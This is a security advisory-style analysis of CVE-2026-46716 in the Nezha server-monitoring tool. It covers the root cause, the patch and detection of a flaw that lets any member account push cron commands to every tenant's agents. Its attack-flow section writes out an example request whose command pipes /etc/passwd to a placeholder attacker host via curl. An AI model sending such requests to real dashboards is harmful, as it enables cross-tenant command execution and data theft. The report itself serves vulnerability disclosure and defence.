# CVE-2026-46716 Vulnerability Analysis Report --- ## 1. Basic Information | Field | Details | |-------|---------| | **CVE ID** | CVE-2026-46716 | | **GHSA** | [GHSA-99gv-2m7h-3hh9](https://github.com/nezhahq/nezha/security/advisories/GHSA-99gv-2m7h-3hh9) | | **CVSS Score** | 9.9 (Critical) | | **CVSS Vector** | `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` | | **CWE** | CWE-862 (Missing Authorization), CWE-269 (Improper Privilege Management), CWE-78 (OS Command Injection) | | **Affected Versions** | nezhahq/nezha >= 1.4.0, < 1.14.15-0.20260517022419 | | **Fixed Version** | commit d7526351cf97 (2026-05-17), released as v1.14.15-0.20260517022419 | --- ## 2. Software Overview Nezha Monitoring is a self-hosted lightweight server monitoring tool written in Go. It consists of a central Dashboard (web UI + REST API) and Agents installed on each monitored server. **Role Levels:** - `RoleAdmin (0)`: Full access to all features - `RoleMember (1)`: Restricted access — any authenticated user can create cron jobs for servers they own --- ## 3. Root Cause Analysis ### 3.1 CheckPermission — No Ownership Validation for Empty Server List The cron creation endpoint (`POST /api/v1/cron`) calls `ServerShared.CheckPermission` to validate that the requesting user owns all servers in the provided server list. ```go // service/singleton/singleton.go func (c *class[K, V]) CheckPermission(ctx *gin.Context, idList iter.Seq[K]) bool { for id := range idList { // loop body never executes when servers=[] if s, ok := c.list[id]; ok { if !s.HasPermission(ctx) { return false } } } return true // no servers to check → returns true with no validation } ``` Passing `"servers": []` produces an empty iterator, so no ownership validation occurs and `CheckPermission` returns `true` — the cron is accepted regardless of the caller's privileges. ### 3.2 Missing Ownership Validation in CronTrigger (pre-patch) After the cron is stored, `CronTrigger` dispatches the command to servers at execution time. Before the patch, it iterated the global `ServerShared` map without checking whether each server belongs to the cron creator: ```go // service/singleton/crontask.go (pre-patch) func CronTrigger(cr *model.Cron, triggerServer ...uint64) func() { return func() { for _, s := range ServerShared.Range { // cover=CronCoverAll + empty exclude list → sends to ALL servers if cr.Cover == model.CronCoverAll && crIgnoreMap[s.ID] { continue } // No ownership check — command dispatched to every connected agent s.TaskStream.Send(&pb.Task{Id: cr.ID, Data: cr.Command, Type: model.TaskTypeCommand}) } } } ``` With `cover=1` (all servers) and `servers=[]` (empty exclude list), the command is sent to every agent in the pool. --- ## 4. Attack Flow ``` Attacker (RoleMember account) │ ▼ POST /api/v1/login → JWT token │ ▼ POST /api/v1/cron {"servers":[], "cover":1, "command":"curl http://attacker/$(cat /etc/passwd|base64)"} │ ├─ commonHandler: JWT valid → pass ├─ CheckPermission([]) → true (empty server list — no ownership validation performed) └─ Cron stored; at next schedule tick, CronTrigger fires: ├─ Server A (another tenant) → command executed ├─ Server B (another tenant) → command executed └─ Server N (another tenant) → command executed ``` --- ## 5. Attack Prerequisites | # | Condition | Details | |---|-----------|---------| | 1 | Vulnerable version | < 1.14.15-0.20260517022419 (commit d7526351cf97) | | 2 | Any authenticated account | Members are sufficient; admin not required | | 3 | Connected agents | Required for actual command execution at dispatch time | --- ## 6. Patch Analysis (commit d7526351cf97) The fix adds server ownership validation **inside CronTrigger** — it does not change API-level access control, and `CheckPermission` continues to accept empty server lists without validation. ```go // service/singleton/crontask.go (post-patch) func CronTrigger(cr *model.Cron, triggerServer ...uint64) func() { return func() { for _, s := range ServerShared.Range { if !cronCanSendToServer(cr, s) { // NEW: ownership check continue } // Only dispatches to servers owned by the cron creator ... } } } func cronCanSendToServer(cr *model.Cron, server *model.Server) bool { return cr.UserID == server.UserID || userIsAdmin(cr.UserID) } ``` **What the patch changes:** | Fix | Description | |-----|-------------| | `cronCanSendToServer()` | Validates `cr.UserID == server.UserID` before each dispatch in CronTrigger | | `cronCanBeTriggeredByOwner()` | Ownership check in `SendTriggerTasks` (alert-triggered crons) | **What the patch does NOT change:** - API access control for `POST /api/v1/cron` remains `commonHandler` (members can still create crons) - `CheckPermission` still accepts empty server lists with no ownership validation --- ## 7. Detection Note Both vulnerable and patched versions return HTTP 200 for `POST /api/v1/cron` with `servers:[], cover:1` from a member account — the API-level behavior is identical. The difference is only in execution behavior. Version detection via `GET /api/v1/setting` (admin credentials required) is the reliable distinguishing signal. --- ## 8. References - [GHSA-99gv-2m7h-3hh9](https://github.com/nezhahq/nezha/security/advisories/GHSA-99gv-2m7h-3hh9) - [NVD — CVE-2026-46716](https://nvd.nist.gov/vuln/detail/CVE-2026-46716) - [CWE-862: Missing Authorization](https://cwe.mitre.org/data/definitions/862.html) - [CWE-269: Improper Privilege Management](https://cwe.mitre.org/data/definitions/269.html) - [CWE-78: OS Command Injection](https://cwe.mitre.org/data/definitions/78.html) ---